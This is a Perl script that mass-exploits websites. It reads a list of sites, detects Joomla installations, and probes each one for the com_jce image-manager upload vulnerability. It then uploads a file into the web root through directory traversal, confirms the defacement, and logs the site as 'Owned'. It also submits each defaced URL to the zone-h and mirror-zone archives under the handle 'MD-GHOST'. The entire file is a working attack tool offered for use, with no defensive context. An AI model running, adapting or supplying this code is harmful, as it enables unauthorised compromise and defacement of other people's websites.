use HTTP::Request;
use LWP::UserAgent;
use IO::Select;
use HTTP::Response;
use Term::ANSIColor;
use HTTP::Request::Common qw(POST);
use HTTP::Request::Common qw(GET);
use URI::URL;
use IO::Socket::INET;
use Win32::Console::ANSI;
my $datetime    = localtime;
$tmp="tmp";
    if (-e $tmp)
    {
    }
    else
    {
        mkdir $tmp or die "Error creating directory: $tmp";
    }

$rez="Result";
    if (-e $rez)
    {
    }
    else
    {
        mkdir $rez or die "Error creating directory: $rez";
    }

$logo='

_________ _______  _______
\__    _/(  ____ \(  ____ \
   )  (  | (    \/| (    \/
   |  |  | |      | (__
   |  |  | |      |  __)
   |  |  | |      | (
|\_)  )  | (____/\| (____/\
(____/   (_______/(_______/



';

print colored("$logo",'yellow');
print "\t";
print colored ("Start At $datetime",'white on_red'),"\n\n";
print "\n\n";
print colored("Enter Your Choose :",'white on_green');
$a = <STDIN>;
chomp $a;
open(tarrget,"<$a") or die "Fuck you where is Website list -_- mafaka \n";
while(<tarrget>){
chomp($_);
$site = $_;
if($site !~ /http:\/\//) { $site = "http://$site/"; };
efrez();
}
sub efrez($site){
$ua = LWP::UserAgent->new(keep_alive => 1);
$ua->agent("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31");
$ua->timeout (10);

my $efreez = $ua->get("$site")->content;
if($efreez =~/<script type=\"text\/javascript\" src=\"\/media\/system\/js\/mootools.js\"><\/script>|Joomla!|Joomla|joomla/) {
    print colored("[JOOMLA] $site",'white on_magenta'),"\n\n\n";
open(save, '>>joomla.txt');
    print save "$site\n";
    close(save);
comjce();
    }

}

   sub comjce($site){
print colored ("[COM JCE]",'white on_red');
$ua = LWP::UserAgent->new();
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801");
$ua->timeout(15);


$exploiturl="/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20";

$vulnurl=$site.$exploiturl;
$res = $ua->get($vulnurl)->content;
if ($res =~ m/No function call specified!/i){
     print " .................. ";
     print color('bold white');
     print "[";
print color('reset');
print color('bold green');
print "VULN JCE";
print color('reset');
print color('bold white');
print "] ";
print color('reset');
print "\n[UPLOADING PICTURE]";
my $res = $ua->post($vulnurl,
    Content_Type => 'form-data',
    Content => [
        'upload-dir' => './../../',
        'upload-overwrite' => 0,
        'Filedata' => ["md.gif"],
        'action' => 'upload'
        ]
    )->decoded_content;
if ($res =~ m/"error":false/i){

}else{
print " ......... ";
print color('bold white');
print "[";
print color('reset');
print color('bold green');
print "PATCHED";
print color('reset');
print color('bold white');
print "] \n";
print color('reset');
}

$remote = IO::Socket::INET->new(
        Proto=>'tcp',
        PeerAddr=>"$site",
        PeerPort=>80,
        Timeout=>15
        );
$def= "$site/md.gif";
$check = $ua->get($def)->status_line;
if ($check =~ /200/){
print " ......... ";
print color('bold white');
print "[";
print color('reset');
print color('bold green');
print "DEFACED";
print color('reset');
print color('bold white');
print "] \n";
print color('reset');
print "[LINK] => $def\n";
        open (TEXT, '>>fucked.txt');
        print TEXT "[Owned] => $def\n";
        close (TEXT);
zoneh();
mirrorzon();
}
}else{print  " .................. ";
 print color('bold white');
print "[";
print color('reset');
print color('bold red');
print "NOT VULN";
print color('reset');
print color('bold white');
print "] \n";
print color('reset');
}

    }


sub zoneh(){
print colored ("[ZONE-H]",'black on_yellow');


                                $hack="MD-GHOST";
                                $zn="http://zone-h.org/notify/single";
                                $lwp=LWP::UserAgent->new;
                                $res=$lwp  -> post($zn,[
                                'defacer'     => $hack,
                                'domain1'   => $def,
                                'hackmode' => '15',
                                'reason'       => '1',
                                'submit'       => 'Send',
                                ]);
                                if ($res->content =~ /color="red">ERROR<\/font><\/li>/) {
                                print " ...................... ";
print color('bold white');
print "[";
print color('reset');
print color('bold red');
print "ERROR";
print color('reset');
print color('bold white');
print "] \n";
print color('reset');

                                }
                                elsif ($res->content =~ /color="red">OK<\/font><\/li>/) {
                                print " ......................... ";
print color('bold white');
print "[";
print color('reset');
print color('bold green');
print "OK";
print color('reset');
print color('bold white');
print "] \n";
print color('reset');


                                }
                                else
                                {
                                print colored ("[ERROR !]Error Can't Submit it On Zone-h Gass",'white on_red'),"\n";

                                }
                            }
sub mirrorzon(){
    print colored ("[MIRROR-ZONE]",'black on_yellow');
$mz = "http://mirror-zone.org/notify/singel.php";
$fgtn="MD-GHOST";
$mzp = POST $mz, [hacker => $fgtn, text => $def];
$response = $ua->request($mzp);
if ($response->content =~ /Deface Add successfully added to Archive .../) {
print " .................... ";
print color('bold white');
print "[";
print color('reset');
print color('bold green');
print "OK";
print color('reset');
print color('bold white');
print "] \n";
print color('reset');
}else {
print " ................. ";
print color('bold white');
print "[";
print color('reset');
print color('bold red');
print "ERROR";
print color('reset');
print color('bold white');
print "] \n";
print color('reset');
}
}